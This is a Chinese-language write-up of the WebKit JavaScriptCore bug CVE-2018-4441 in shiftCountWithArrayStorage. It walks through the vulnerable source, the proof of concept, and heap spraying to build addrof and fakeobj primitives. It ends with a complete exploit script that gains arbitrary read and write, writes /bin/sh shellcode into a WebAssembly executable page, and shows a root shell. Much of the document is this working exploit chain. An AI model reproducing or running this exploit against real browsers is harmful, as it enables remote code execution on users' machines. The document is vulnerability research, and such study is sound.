跳转至

CVE-2018-4441 Webkit shiftCountWithArrayStorage

一、漏洞简介

WebKit是Apple Safari浏览器中的Web浏览器引擎,也是其他macOS、iOS和Linux系统中应用的浏览器引擎。2018年12月,该漏洞在公开披露后,被发现影响最新版本的苹果Safari浏览器。

二、漏洞影响

三、复现过程

漏洞分析

环境配置

这里我用了补丁的前一个版本 commit 21687be , 在 ubuntu 1804 下编译,环境相关的文件都放在了这里

漏洞描述

漏洞发生在JSArray::shiftCountWithArrayStorage 这个函数,根据lokihardt 的描述,除非对象的prototype 有indexed accessors 或者 proxy对象(我也不清楚是什么:( ), 否则调用到这个函数的时候holesMustForwardToPrototype 都会返回false, 本来带holes 的对象就可以进入下面的处理逻辑(总的来说就是代码写错了)

bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
    unsigned oldLength = storage->length();
    RELEASE_ASSERT(count <= oldLength);

    // If the array contains holes or is otherwise in an abnormal state,
    // use the generic algorithm in ArrayPrototype.
    if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) 
        || hasSparseMap() 
        || shouldUseSlowPut(indexingType())) {
        return false;
    }

    if (!oldLength)
        return true;

    unsigned length = oldLength - count;

    storage->m_numValuesInVector -= count;
    storage->setLength(length);
//.....
bool Structure::holesMustForwardToPrototype(VM& vm, JSObject* base) const
{
    ASSERT(base->structure(vm) == this);

    if (this->mayInterceptIndexedAccesses())
        return true;

    JSValue prototype = this->storedPrototype(base);//
    if (!prototype.isObject())
        return false;
    JSObject* object = asObject(prototype);

    while (true) {
        Structure& structure = *object->structure(vm);
        if (hasIndexedProperties(object->indexingType()) || structure.mayInterceptIndexedAccesses())
            return true;
        prototype = structure.storedPrototype(object);
        if (!prototype.isObject())
            return false;
        object = asObject(prototype);

poc 分析

function main() {
    let arr = [1];

    arr.length = 0x100000;
    arr.splice(0, 0x11);

    arr.length = 0xfffffff0;
    arr.splice(0xfffffff0, 0, 1);
}

main();

lokihardt 给出了poc

./jsc
>>> a=[1]
1
>>> describe(a)
Object: 0x7fffaf6b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf6f2a00:[Array, {}, ArrayWithInt32, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 97
>>> a.length=0x100000
1048576
>>> describe(a)
Object: 0x7fffaf6b4340 with butterfly 0x7fe0000f8448 (Structure 0x7fffaf6f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 100
>>> a.splice(0,0x11)
1,,,,,,,,,,,,,,,,

首先创建了一个 ArrayWithInt32 类型的array, length 改成0x100000 之后会转换成ArrayWithArrayStorage, 然后调用 splice 函数,实现在Source/JavaScriptCore/runtime/ArrayPrototype.cpp:1005 的arrayProtoFuncSplice 函数

splice 用来删除修改array, 如 a.splice(0, 0x11), 就表示从index=0 开始删除0x11 项, 第三个参数表示要替换的内容, 如a.splice(0,0x11,1,1) 表示删除 0x11 个项,然后添加两个项,内容都是1, 也可以这a.splice(0,1,1,2,3) 要添加的项比删除多的时候会重新分配内存。我们看一下函数具体是怎么样实现的, 这里用poc 的 a.length=0x100000; a.splice(0,0x11) 为例

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
    // 15.4.4.12

    VM& vm = exec->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);

    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    EXCEPTION_ASSERT(!!scope.exception() == !thisObj);
    if (UNLIKELY(!thisObj))
        return encodedJSValue();
    // length = 0x100000
    unsigned length = toLength(exec, thisObj);
    RETURN_IF_EXCEPTION(scope, encodedJSValue());

    if (!exec->argumentCount()) {
//..
    }
    // splice 第一个参数, 这里是 0
    unsigned actualStart = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    RETURN_IF_EXCEPTION(scope, encodedJSValue());
    // actualDeleteCount = 0x100000 - 0
    unsigned actualDeleteCount = length - actualStart;
    // argumentCount == 2, 进入判断, actualDeleteCount = 0x11
    if (exec->argumentCount() > 1) {
        double deleteCount = exec->uncheckedArgument(1).toInteger(exec);
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
        if (deleteCount < 0)
            actualDeleteCount = 0;
        else if (deleteCount > length - actualStart)
            actualDeleteCount = length - actualStart;
        else
            actualDeleteCount = static_cast<unsigned>(deleteCount);
    }
//...
    // itemCount 表示要添加的 item 数量, 这里是 0 < 0x11 --> 调用 shift
    unsigned itemCount = std::max<int>(exec->argumentCount() - 2, 0);
    if (itemCount < actualDeleteCount) {
        shift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
    } else if (itemCount > actualDeleteCount) {
        unshift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
    }
    // 把每个添加的item 内容写入
    for (unsigned k = 0; k < itemCount; ++k) {
        thisObj->putByIndexInline(exec, k + actualStart, exec->uncheckedArgument(k + 2), true);
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
    }
 // 重新设置长度   
    scope.release();
    setLength(exec, vm, thisObj, length - actualDeleteCount + itemCount);
    return JSValue::encode(result);
}

整理一下

actualStart 第一个参数,表示要开始delete 的地方

actualDeleteCount 第二个参数,要delete 的数量,没有设置时默认是length - actualStart

itemCount

第三个参数开始的数量

  • itemCount < actualDeleteCount 会调用 shift
  • itemCount > actualDeleteCount 调用 unshift

我们跟一下shift

template<JSArray::ShiftCountMode shiftCountMode>
void shift(ExecState* exec, JSObject* thisObj, unsigned header, unsigned currentCount, unsigned resultCount, unsigned length)
{
    VM& vm = exec->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);

    RELEASE_ASSERT(currentCount > resultCount);
    // 要多 delete 的数量
    unsigned count = currentCount - resultCount;

    RELEASE_ASSERT(header <= length);
    RELEASE_ASSERT(currentCount <= (length - header));

    if (isJSArray(thisObj)) {
        JSArray* array = asArray(thisObj);
        if (array->length() == length && array->shiftCount<shiftCountMode>(exec, header, count))
            return;
    }

    for (unsigned k = header; k < length - currentCount; ++k) {
        unsigned from = k + currentCount;
        unsigned to = k + resultCount;
        JSValue value = getProperty(exec, thisObj, from);
        RETURN_IF_EXCEPTION(scope, void());
        if (value) {
            thisObj->putByIndexInline(exec, to, value, true);
            RETURN_IF_EXCEPTION(scope, void());
        } else {
            bool success = thisObj->methodTable(vm)->deletePropertyByIndex(thisObj, exec, to);
            RETURN_IF_EXCEPTION(scope, void());
            if (!success) {
                throwTypeError(exec, scope, UnableToDeletePropertyError);
                return;
            }
        }
    }
    for (unsigned k = length; k > length - count; --k) {
        // 
        bool success = thisObj->methodTable(vm)->deletePropertyByIndex(thisObj, exec, k - 1);
        RETURN_IF_EXCEPTION(scope, void());
        if (!success) {
            throwTypeError(exec, scope, UnableToDeletePropertyError);
            return;
        }
    }
}
JSArray::ShiftCountForSplice` 实现在`Source/JavaScriptCore/runtime/JSArray.h:125`, `shiftCountWithAnyIndexingType` 根据 array 的类型做不同的处理,这里我们是`ArrayWithArrayStorage`, 直接调用`shiftCountWithArrayStorage
bool shiftCountForSplice(ExecState* exec, unsigned& startIndex, unsigned count)        
{                                                                                      
    return shiftCountWithAnyIndexingType(exec, startIndex, count);                     
}                                                                                      
//.................

bool JSArray::shiftCountWithAnyIndexingType(ExecState* exec, unsigned& startIndex, unsigned count)
{
    VM& vm = exec->vm();
    RELEASE_ASSERT(count > 0);

    ensureWritable(vm);

    Butterfly* butterfly = this->butterfly();

    switch (indexingType()) {
    case ArrayClass:
        return true;

    case ArrayWithUndecided:
        // Don't handle this because it's confusing and it shouldn't come up.
        return false;

    case ArrayWithInt32:
    case ArrayWithContiguous: {
        unsigned oldLength = butterfly->publicLength();
    //...
        return true;
    }

    case ArrayWithDouble: {
        unsigned oldLength = butterfly->publicLength();
        RELEASE_ASSERT(count <= oldLength);
        //...
        return true;
    }

    case ArrayWithArrayStorage:
    case ArrayWithSlowPutArrayStorage:
        return shiftCountWithArrayStorage(vm, startIndex, count, arrayStorage());

    default:
        CRASH();
        return false;
    }
}

这里就是漏洞点了,前面提到holesMustForwardToPrototype 会返回false, 这样就会进入到后面的逻辑

bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
    unsigned oldLength = storage->length();
    RELEASE_ASSERT(count <= oldLength);

    // If the array contains holes or is otherwise in an abnormal state,
    // use the generic algorithm in ArrayPrototype.
    if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) 
        || hasSparseMap() 
        || shouldUseSlowPut(indexingType())) {
        return false;
    }

    if (!oldLength)
        return true;
    //count = 0x11, oldlength = 0x100000, length = 0xfffef
    unsigned length = oldLength - count;
    // m_numValuesInVector = 1, 计算之后 m_numValuesInVector = 0xfffffff0
    storage->m_numValuesInVector -= count;
    storage->setLength(length);

这里运行结束后a.length = 0xfffef, storage.m_numValuesInVector = 0xfffffff0, 然后 poc 下一步设置a.length = 0xfffffff0, 这样就有 a.length == storage.m_numValuesInVector, 这样hasHoles 后续都会返回false

bool hasHoles() const                         
{                                             
    return m_numValuesInVector != length();   
}

最后一步a.splice(0xfffffff0, 0, 1);, itemCount == 1 > actualDeleteCount == 0, 于是就会进入 unshift 函数, 和 shift 函数类似,这里最终会进入 JSArray 的unshiftCountWithArrayStorage

因为 storage->hasHoles() 返回的是 false, 所以可以进入后面的判断,要添加的item 比 delete的多,那么就需要扩大原来的内存,后续的内存操作会出现问题,最终segmentfault

bool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
//..

    // If the array contains holes or is otherwise in an abnormal state,
    // use the generic algorithm in ArrayPrototype.
    if (storage->hasHoles() || storage->inSparseMode() || shouldUseSlowPut(indexingType()))
        return false;

    bool moveFront = !startIndex || startIndex < length / 2;

    unsigned vectorLength = storage->vectorLength();

    // Need to have GC deferred around the unshiftCountSlowCase(), since that leaves the butterfly in
    // a weird state: some parts of it will be left uninitialized, which we will fill in here.
    DeferGC deferGC(vm.heap);
    auto locker = holdLock(cellLock());

    if (moveFront && storage->m_indexBias >= count) {
        Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
        storage = newButterfly->arrayStorage();
        storage->m_indexBias -= count;
        storage->setVectorLength(vectorLength + count);
        setButterfly(vm, newButterfly);
    } else if (!moveFront && vectorLength - length >= count)
        storage = storage->butterfly()->arrayStorage();
    else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
        storage = arrayStorage();// 0x60 
    else {
        throwOutOfMemoryError(exec, scope);
        return true;
    }

    WriteBarrier<Unknown>* vector = storage->m_vector;

    if (startIndex) {
        if (moveFront)
            memmove(vector, vector + count, startIndex * sizeof(JSValue));
        else if (length - startIndex)
            memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
    }

    for (unsigned i = 0; i < count; i++)
        vector[i + startIndex].clear();

    return true;
}

漏洞利用

okay, 漏洞发生的原因大概清楚了,我们再来看看要怎么样利用。我们可以发现 unshiftCountWithArrayStorage 有一个 memmove 的操作, 假如执行a.splice(0x1000,0,1), startIndex == 0x1000, moveFront == true , count = 1

if (startIndex) {
        if (moveFront)
            memmove(vector, vector + count, startIndex * sizeof(JSValue));
        else if (length - startIndex)
            memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
    }

vector 来自前面的storage , 这里会进入 storage = arrayStorage(); 重新初始化一个 storage, 可以跟踪一下Source/JavaScriptCore/runtime/ButterflyInlines.h:77 的Butterfly::tryCreateUninitialized 函数,最终分配的内存大小是 0x60(0x58 向上对齐)。但是 因为这里startIndex 可以控制,于是这里就可以越界做内存拷贝。

if (moveFront && storage->m_indexBias >= count) {//m_indexBias ==0 < count ==1
        Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
        storage = newButterfly->arrayStorage();
        storage->m_indexBias -= count;
        storage->setVectorLength(vectorLength + count);
        setButterfly(vm, newButterfly);
    } else if (!moveFront && vectorLength - length >= count)// moveFront == true
        storage = storage->butterfly()->arrayStorage();
    else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
        storage = arrayStorage();// 0x60 
    else {
        throwOutOfMemoryError(exec, scope);
        return true;
    }

    WriteBarrier<Unknown>* vector = storage->m_vector;

如果内存布局像下面这样,

vector = 0x7fe000287a78
pwndbg> x/1000gx 0x7fe000287a78
0x7fe000287a78: 0x00000000badbeef0      0x0000000000000000
0x7fe000287a88: 0x00000000badbeef0      0x00000000badbeef0
0x7fe000287a98: 0x00000000badbeef0      0x00000000badbeef0
//..
// 其他 object 的 butterfly,  length = 0xa
0x7fe000287ff8: 0x00000000badbeef0      0x0000000d0000000a
0x7fe000288008: 0x0000000000001337      0x402abd70a3d70a3d
0x7fe000288018: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
// vector + 0x1000
0x7fe000288a78: 0x0000000000000000      0x0000000d0000000a
0x7fe000288a88: 0x0000000000001337      0x402abd70a3d70a3d

memmove之后, 可以把其他object 的 buttefly 的 length 改了,假如可以找到这个 object, 那么就可以利用这个 object 来构造越界读写了。

// vector
0x7fe000287a78: 0x0000000000000000      0x00000000badbeef0
0x7fe000287a88: 0x00000000badbeef0      0x00000000badbeef0
// 其他 object 的 butterfly,  length = 0x1337
0x7fe000287ff8: 0x0000000d0000000a      0x0000000000001337
0x7fe000288008: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
// vector + 0x1000
0x7fe000288a78: 0x0000000d0000000a      0x0000000000001337
0x7fe000288a88: 0x402abd70a3d70a3d      0x402abd70a3d70a3d

addrof 和 fakeobj 构造

首先喷一堆的object, 尝试构造出上面提到的内存布局,length都是 10, 这样新分配的内存就是 10 * 8 + 0x10 = 0x60, 就会和新申请的storage 分配在十分接近的内存上。 spray[i] 和 spray[i+1] 会连续分配

for (let i = 0; i < 0x3000; i += 2) {                                                   
    spray[i]   = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];       
    spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];  // fakeobj                              
}                                                                                       
for (let i = 0; i < 0x3000; i += 2)                                                     
    spray[i][0] = i2f(0x1337)

然后是 splice(0x1000,0,1) 触发memmove, 然后找出那个被改了 size 的 object

arr.splice(0x1000,0,1);                      

fake_index=-1;                               
for(let i=0;i<0x3000;i+=2){                  
    if(spray[i].length!=10){                 
       print("hit: "+i.toString(16));       
       fake_index=i;                        
       break;                               
    }                                        
}   
//..spray[i] ArrayWithDouble
0x7ff000287ff8: 0x00000000badbeef0      0x0000000d0000000a
0x7ff000288008: 0x0000000000001337      0x402abd70a3d70a3d
0x7ff000288018: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
0x7ff000288028: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
0x7ff000288038: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
0x7ff000288048: 0x402abd70a3d70a3d      0x40c77caf5c28f5c3
// spray[i+1], ArrayWithContiguous
0x7ff000288058: 0x7ff8000000000000      0x7ff8000000000000
0x7ff000288068: 0x7ff8000000000000      0x0000000d0000000a
0x7ff000288078: 0x00007fffae25d240      0x00007fffae25d280
0x7ff000288088: 0x00007fffae25d2c0      0x00007fffae25d300
0x7ff000288098: 0x00007fffae25d340      0x00007fffae25d380
0x7ff0002880a8: 0x00007fffae25d3c0      0x00007fffae25d400
0x7ff0002880b8: 0x00007fffae25d440      0x00007fffae25d480

到了这里, spray[i][14] == spray[i+1][0], 往spray[i][14] 写一个 地址, 然后从spray[i+1] 取出来就会认为他是一个object, 同样可以用spray[i][14] 读 object 的地址, fakeobj 和 addrof 的构造就十分直接啦

unboxed = spray[fake_index];   
boxed = spray[fake_index+1];   
print(describe(unboxed))       
print(describe(boxed))         

function addrof(obj){                 
    boxed[0] = obj;                   
    return f2i(unboxed[14]);          

}                                     

function fakeobj(addr){               
    unboxed[14] = i2f(addr);          
    return boxed[0];                  
}

任意地址读写 & 写 wasm getshell

接下来的利用基本上就都是通用套路了,改 ArrayWithDouble 的 butterfly 任意地址读写,然后找 wasm 的rwx 段写shellcode, 执行shellcode 完事。

exp

完整exp 如下

var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)

var BASE32 = 0x100000000
function f2i(f) {
    f64[0] = f
    return i32[0] + BASE32 * i32[1]
}

function i2f(i) {
    i32[0] = i % BASE32
    i32[1] = i / BASE32
    return f64[0]
}

function user_gc() {
    for (let i = 0; i < 10; i++) {
        let ab = new ArrayBuffer(1024 * 1024 * 10);
    }
}

let arr = [1];

arr.length = 0x100000;
arr.splice(0, 0x11);
arr.length = 0xfffffff0;

let spray = new Array(0x3000);

for (let i = 0; i < 0x3000; i += 2) {
    spray[i]   = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
    spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];
}
for (let i = 0; i < 0x3000; i += 2)
    spray[i][0] = i2f(0x1337)


arr.splice(0x1000,0,1);

fake_index=-1;
for(let i=0;i<0x3000;i+=2){
    if(spray[i].length!=10){
        print("hit: "+i.toString(16));
        fake_index=i;
        break;
    }
}

unboxed = spray[fake_index];
boxed = spray[fake_index+1];
print(describe(unboxed))
print(describe(boxed))


function addrof(obj){
    boxed[0] = obj;
    return f2i(unboxed[14]);

}

function fakeobj(addr){
    unboxed[14] = i2f(addr);
    return boxed[0];
}



victim = [1.1];
victim[0] =3.3;;
victim['prop'] = 13.37;
victim['prop'+1] = 13.37;
print(describe(victim))
print(addrof(victim).toString(16))

i32[0]=100;
i32[1]=0x01082107 - 0x10000;
var container={
    jscell:f64[0],
    butterfly:victim,
}
print(describe(container))
container_addr = addrof(container);
hax = fakeobj(container_addr+0x10);

var unboxed2 = [1.1];
unboxed2[0] =3.3;

var boxed2 = [{}]

hax[1] = i2f(addrof(unboxed2))
var shared = victim[1];
hax[1] = i2f(addrof(boxed2))
victim[1] = shared;

var stage2={
    addrof: function(obj){
        boxed2[0] = obj;
        return f2i(unboxed2[0]);
    },
    fakeobj: function(addr){
        unboxed2[0] = i2f(addr);
        return boxed2[0];
    },
    read64: function(addr){
        hax[1] = i2f(addr + 0x10);
        return this.addrof(victim.prop);
    },
    write64: function(addr,data){
        hax[1] = i2f(addr+0x10);
        victim.prop = this.fakeobj(data)
    },
    write: function(addr, shellcode) {
        var theAddr = addr;
        for(var i=0;i<shellcode.length;i++){
            this.write64(addr+i,shellcode[i].charCodeAt())
        }
    },
    pwn: function(){
        var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
        var wasm_mod = new WebAssembly.Module(wasm_code);
        var wasm_instance = new WebAssembly.Instance(wasm_mod);
        var f = wasm_instance.exports.main;
        var addr_f = this.addrof(f);
        var addr_p = this.read64(addr_f + 0x40);
        var addr_shellcode = this.read64(addr_p);
        print(addr_f.toString(16))
        print(addr_p.toString(16))
        print(addr_shellcode.toString(16));
        shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
        this.write(addr_shellcode, shellcode);
        f();
    }
}

stage2.pwn()

运行效果

运行效果如下

╰$ ./jsc exp.js
hit: 2e5e
Object: 0x7fffae2af690 with butterfly 0x7fe00028c078 (Structure 0x7fffaf6f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 98
Object: 0x7fffae2af6a0 with butterfly 0x7fe00028c0e8 (Structure 0x7fffaf6f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf6c80a0]), StructureID: 99
Object: 0x7fffae2591f0 with butterfly 0x7fe000280058 (Structure 0x7fffaf670d20:[Array, {prop:100, prop1:101}, ArrayWithDouble, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 317
7fffae2591f0
Object: 0x7fffaf6c8380 with butterfly (nil) (Structure 0x7fffaf670e00:[Object, {jscell:0, butterfly:1}, NonArray, Proto:0x7fffaf6b4000, Leaf]), StructureID: 319
7fffae208000
7ffff000a500
7fffb0001000
# id
uid=0(root) gid=0(root) groups=0(root)
#

参考链接

https://xz.aliyun.com/t/7694#toc-2